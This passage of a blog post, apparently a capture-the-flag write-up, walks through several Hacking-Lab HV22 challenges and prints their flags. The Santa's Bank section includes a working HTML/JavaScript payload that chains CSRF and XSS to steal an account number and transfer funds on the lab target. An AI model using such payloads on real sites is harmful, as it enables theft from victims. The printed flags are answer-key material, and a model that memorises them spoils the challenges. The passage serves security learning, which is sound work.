300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-47-768x186.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-47-500x121.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-47.png 1069w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{M4k3-M3-a-S4ndW1ch}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.13] Noty<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"129\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-48.png\" alt=\"\" class=\"wp-image-2041\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-48.png 830w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-48-300x47.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-48-768x119.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-48-500x78.png 500w\" sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>After the previous fiasco with multiple bugs in Notme (some intended and some not), Santa released a now truly secure note taking app for you. Introducing: Noty, a fixed version of Notme.<\/p>\n\n\n\n<p>Also Santa makes sure that this service runs on green energy. No pollution from this app \ud83d\ude09<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>HaCk0<\/strong>. He&#8217;s a Challenge knight0!<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>I completely ran in the wrong direction in this challenge. I thought it would be again a vulnerability related to SQL injection or some logical flaws in the API. After carefully re-reading the description, I realized I was on the wrong path. There is a clear hint in the description: &#8220;No pollution from this app ;)&#8221;.<\/p>\n\n\n\n<p>I know two kinds of pollution attacks: Parameter Pollution and Prototype Pollution. As we don&#8217;t have any parameters (all POST requests) in the application, we start digging into the Prototyp Pollution attack. I found an <a href=\"https:\/\/medium.com\/intrinsic-blog\/javascript-prototype-poisoning-vulnerabilities-in-the-wild-7bc15347c96\" target=\"_blank\" rel=\"noreferrer noopener\">excellent blog post<\/a> on Google explaining the attack, and it has a similar example to our challenge.<\/p>\n\n\n\n<p>In the first version of the challenge, I thought that the role &#8220;user&#8221; returned from the server was very suspicious. Now we have the attack vector to change our user to an administrator.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-49.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"633\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-49-1024x633.png\" alt=\"\" class=\"wp-image-2042\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-49-1024x633.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-49-300x185.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-49-768x475.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-49-1536x950.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-49-2048x1266.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-49-485x300.png 485w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We can register a new user with administrative privileges with the following payload.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-50.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"451\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-50-1024x451.png\" alt=\"\" class=\"wp-image-2043\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-50-1024x451.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-50-300x132.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-50-768x338.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-50-1536x676.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-50-500x220.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-50.png 1651w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>And now, we can log in and display the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-51.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"324\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-51-1024x324.png\" alt=\"\" class=\"wp-image-2044\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-51-1024x324.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-51-300x95.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-51-768x243.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-51-500x158.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-51.png 1493w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{P0luT1on_1S_B4d_3vERyWhere}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.14] Santa&#8217;s Bank<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"832\" height=\"119\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-52.png\" alt=\"\" class=\"wp-image-2045\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-52.png 832w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-52-300x43.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-52-768x110.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-52-500x72.png 500w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa has lost faith and trust in humanity and decided to take matters in his own hands: He opens a new bank.<\/p>\n\n\n\n<p>He announced the release with the following message:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>For Christmas, our bank has a generous offer: save 100 \u20ac in your savings account and get a promo code!<\/code><\/pre>\n\n\n\n<p>Due to mistrust, he didn&#8217;t connect his bank and its employees to the internet.<\/p>\n\n\n\n<p>Can you hack bank?<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>nichtseb<\/strong>. Rumors say that Santa knows his real name, which is certainly not Seb.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>Today was the last of the medium challenges, and it felt like a hard one. But in the end, this was an incredible journey, and I greatly liked the challenge.<\/p>\n\n\n\n<p>The challenge website is an elementary bank account. After registering, we have an overview page with the bank account, but unfortunately, with no money. We can transfer money to another account, and there is a field where we can send URLs to the support.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-53.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"229\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-53-1024x229.png\" alt=\"\" class=\"wp-image-2046\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-53-1024x229.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-53-300x67.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-53-768x171.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-53-1536x343.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-53-2048x457.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-53-500x112.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>I played with the inputs field and Burp and found an XSS vulnerability in the transfer function.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-54.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"289\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-54-1024x289.png\" alt=\"\" class=\"wp-image-2047\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-54-1024x289.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-54-300x85.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-54-768x217.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-54-500x141.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-54.png 1415w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We can start a simple HTTP Server on our client and send the URL to the support. After some time, we see a request coming in on our web server.<\/p>\n\n\n\n<p>We can start the web server with the following command:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ python -m http.server<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-55.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"307\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-55-1024x307.png\" alt=\"\" class=\"wp-image-2048\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-55-1024x307.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-55-300x90.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-55-768x230.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-55-1536x461.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-55-500x150.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-55.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-56.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"185\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-56-1024x185.png\" alt=\"\" class=\"wp-image-2049\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-56-1024x185.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-56-300x54.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-56-768x139.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-56-500x90.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-56.png 1323w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Now we have everything together and a clear storyline: We must concatenate a Client Side Request Forgery (CSRF) attack with the Cross-Site-Scripting (XSS) vulnerability. This way, we trick the support employee into opening a malicious payload, opening the support employee&#8217;s bank account, and reading out the bank account number with XSS. Finally, we can transfer funds from his account to ours with the bank account number through the CSRF vulnerability. With more than 100\u20ac in our account, we get the promo code, being the flag.<\/p>\n\n\n\n<p>The payload executing the CSRF and XSS attack is written in HTML and JavaScript:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"html\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;!--https:\/\/brightsec.com\/blog\/csrf-example\/ -->\n&lt;form id=\"get-money\" method=\"POST\" action=\"https:\/\/77d27533-42b8-442a-a9ae-228069a3bef6.idocker.vuln.land\/transfer\">\n    &lt;input type=\"hidden\" name=\"from\" value=\"FDF1AFFBFFF4DE7FEA3D\"\/>\n    &lt;input type=\"hidden\" name=\"to\" value=\"&lt;script>\n        var xhttp = new XMLHttpRequest();\n        xhttp.onreadystatechange = function() {\n            if (xhttp.responseText == ''){\n                return;\n            }\n\n            const parser = new DOMParser();\n            const htmlDoc = parser.parseFromString(xhttp.responseText, 'text\/html');\n            var account = htmlDoc.getElementsByTagName('table')[0].rows[1].getElementsByTagName('td')[0].innerHTML;\n            console.log(account);\n\n            \/\/set account from data and resubmit\n            var xhr = new XMLHttpRequest();\n            xhr.open('POST', 'https:\/\/77d27533-42b8-442a-a9ae-228069a3bef6.idocker.vuln.land\/transfer', true);\n            xhr.setRequestHeader('Content-Type', 'application\/x-www-form-urlencoded');\n            xhr.send('from='+account+'&amp;to=88DEF97DFA8DEC8E6FDB&amp;amount=100');\n        }\n        xhttp.open('GET', 'https:\/\/77d27533-42b8-442a-a9ae-228069a3bef6.idocker.vuln.land\/', true);\n        xhttp.send();\n    &lt;\/script>\"\/>\n    &lt;input type=\"hidden\" name=\"amount\" value=\"100\"\/>\n&lt;form>\n&lt;script>\n    document.getElementById('get-money').submit();\n&lt;\/script><\/pre>\n\n\n\n<p>What happens exactly:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>First, we trick the support into browsing our malicious HTML page.<\/li>\n\n\n\n<li>This executes a first CSRF attack triggering a bank transfer.&nbsp;<\/li>\n\n\n\n<li>The POST Request to execute the bank transfer contains an XSS vulnerability, which we use to read the account page of the logged-in support employee.&nbsp;<\/li>\n\n\n\n<li>The JavaScript, still in execution through the XSS, parses the website, reads the account number, and performs another CSRF attack.<\/li>\n\n\n\n<li>The last CSRF attack sends 100 \u20ac from the employee&#8217;s bank account to our bank account.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-57.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"255\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-57-1024x255.png\" alt=\"\" class=\"wp-image-2050\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-57-1024x255.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-57-300x75.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-57-768x191.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-57-1536x382.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-57-500x124.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-57.png 1940w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-58.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"116\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-58-1024x116.png\" alt=\"\" class=\"wp-image-2051\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-58-1024x116.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-58-300x34.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-58-768x87.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-58-500x57.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-58.png 1276w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-59.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"176\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-59-1024x176.png\" alt=\"\" class=\"wp-image-2052\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-59-1024x176.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-59-300x51.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-59-768x132.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-59-1536x263.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-59-500x86.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-59.png 1919w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-60.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"162\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-60-1024x162.png\" alt=\"\" class=\"wp-image-2053\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-60-1024x162.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-60-300x47.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-60-768x121.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-60-500x79.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-60.png 1318w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p><strong>Flag<\/strong><\/p>\n\n\n\n<p>HV22{XSS_XSRF_TOO_MANYS_XS}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.15] Message from Space<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"829\" height=\"120\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-61.png\" alt=\"\" class=\"wp-image-2058\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-61.png 829w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-61-300x43.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-61-768x111.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-61-500x72.png 500w\" sizes=\"auto, (max-width: 829px) 100vw, 829px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>One of Santa&#8217;s elves is a bit of a drunkard and he is incredibly annoyed by the banning of beer from soccer stadiums. He is therefore involved in the &#8220;<strong>No Return to ZIro beer<\/strong>&#8221; community that pledges for unrestricted access to hop brew during soccer games. The topic is sensitive and thus communication needs to be top secret, so the community members use a special quantum military-grade encryption radio system.<\/p>\n\n\n\n<p>Santa&#8217;s wish intel team is not only dedicated to analyzing terrestrial hand-written wishes but aims to continuously picking up signals and wishes from outer space too. By chance the team got notice of some secret radio communication. They notice that the protocol starts with a preamble. However, the intel team is keen to learn if the message is some sort of wish they should follow-up. Can you lend a hand?<\/p>\n\n\n\n<p>Resource: <a rel=\"noreferrer noopener\" href=\"https:\/\/sigterm.ch\/stuff\/hv22\/message_1msps.cu8\" target=\"_blank\">message_1msps.cu8<\/a> (save as)<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>cbrunsch<\/strong>. I won&#8217;t post jokes about my supervisor\ud83d\ude07<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>The first hard challenge is a radio challenge, ugh. I had a lot of help in this challenge &#8211; thanks to Ludus! According to the challenge description, there is a hint which tells us more about the encoding. &#8220;<strong>No Return to ZIro beer<\/strong>&#8221; hints at the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Non-return-to-zero\" target=\"_blank\" rel=\"noreferrer noopener\">&#8220;Non Return to Zero &#8211; NRZI&#8221; encoding<\/a>. &nbsp;<\/p>\n\n\n\n<p>The first step was to analyze and extract the binary representation of the radio signal we received in the file &#8220;message_1msps.cu8&#8221;. I used the tool &#8220;<a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/miek\/inspectrum\" target=\"_blank\">inspectrum&#8221;<\/a> to do so. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-63.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"527\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-63-1024x527.png\" alt=\"\" class=\"wp-image-2061\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-63-1024x527.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-63-300x154.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-63-768x395.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-63-1536x790.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-63-2048x1054.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-63-500x257.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>I followed this video to extract the signal in binary: <a href=\"https:\/\/www.youtube.com\/watch?v=M6vUJbav1VE\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.youtube.com\/watch?v=M6vUJbav1VE<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-62.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-62-1024x559.png\" alt=\"\" class=\"wp-image-2060\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-62-1024x559.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-62-300x164.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-62-768x420.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-62-1536x839.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-62-2048x1119.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-62-500x273.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>As a result, I got this sequence of binary:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">101010101010101001100010011110111001000110101110011101100100101110100111110111000111011110010000010001111010000001000010001000111011101001011000010001111011000111011110010010111000100110001111100111100101100001101110010011000111011001010011101111011011010000100000001010011000010001101110010100011000100110110100010110000010001110001000011011111011100001011111101111011101110001000101101001111011100001001110001000011011010001110110011100000110000110100111100100011011001110001001101011000100001001001011110111111101111<\/pre>\n\n\n\n<p>The next step is to decode the binary numbers using NRZI decoding. I implemented a Python script that does the decoding. The result is a series of binary numbers we can transform into text. The resulting text is Base64 encoded and holds the flag of the challenge.<br>Here is my script accomplishing all three steps:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import base64\n\n# extracted with inspectrum\nsignal = \"101010101010101001100010011110111001000110101110011101100100101110100111110111000111011110010000010001111010000001000010001000111011101001011000010001111011000111011110010010111000100110001111100111100101100001101110010011000111011001010011101111011011010000100000001010011000010001101110010100011000100110110100010110000010001110001000011011111011100001011111101111011101110001000101101001111011100001001110001000011011010001110110011100000110000110100111100100011011001110001001101011000100001001001011110111111101111\"\n\nres = \"\"\nprv = signal[16]\n#skip the first 15 bits - \"preamble\"\n#Decode with NRZI Method - https:\/\/en.wikipedia.org\/wiki\/Non-return-to-zero\nfor i in range(16, len(signal)):\n    if signal[i] == prv:\n        res += '0'\n    else:\n        res += '1'\n        prv = signal[i]\nprint(\"[+] NRZI decoded bits: \" + res)\n\n# convert string of binary to text\ndecoded_string = \"\"\nfor i in range(0, len(res), 8):\n    binary_chunk = res[i:i+8]\n    ascii_code = int(binary_chunk, 2)\n    decoded_string += chr(ascii_code)\nprint(\"[+] Converted to text: \" + decoded_string)\n\n# base64 decode\nb64_decoded_string = base64.b64decode(decoded_string)\nprint(\"[-->] Base64 decoded result: \" + str(b64_decoded_string))<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-64.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"187\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-64-1024x187.png\" alt=\"\" class=\"wp-image-2062\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-64-1024x187.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-64-300x55.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-64-768x141.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-64-1536x281.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-64-500x92.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-64.png 1825w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{v-wish-v-g0t-b33r}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.16] Needle in a qrstack<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"832\" height=\"127\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-65.png\" alt=\"\" class=\"wp-image-2065\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-65.png 832w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-65-300x46.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-65-768x117.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-65-500x76.png 500w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa has lost his flag in a qrstack &#8211; it is really like finding a needle in a haystack.<\/p>\n\n\n\n<p>Can you help him find it?<\/p>\n\n\n\n<p>Resource: <a rel=\"noreferrer noopener\" href=\"https:\/\/sigterm.ch\/stuff\/hv22\/haystack.png\" target=\"_blank\">haystack.png<\/a> (save as)<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>dr_nick<\/strong>. Credit where credit is due \ud83d\ude09<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>QR-Inception! This was a great challenge and very creative! When opening the image, we can see a large QR code. The PNG file is enormous and is over 8MB in size. On a second view, we can see many more QR codes in every size. From the beginning, I knew what to do. I opened the image with Gimp and found that the smallest QR Codes have a size of 25&#215;25 pixels. All QR codes I manually scanned contained the text &#8220;Sorry, no flag here!&#8221;.<\/p>\n\n\n\n<p>I wrote a Python program that first cuts the white borders (2400 pixels) from each side. Then starts to iterate the image and crop frames of 50&#215;50 pixels. For every frame, I try to read a QR code. I stop the program and print out the result when a QR code is found, which starts with the string &#8220;HV22&#8221;, or the result does not match the text &#8220;Sorry, no flag here!&#8221;.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" 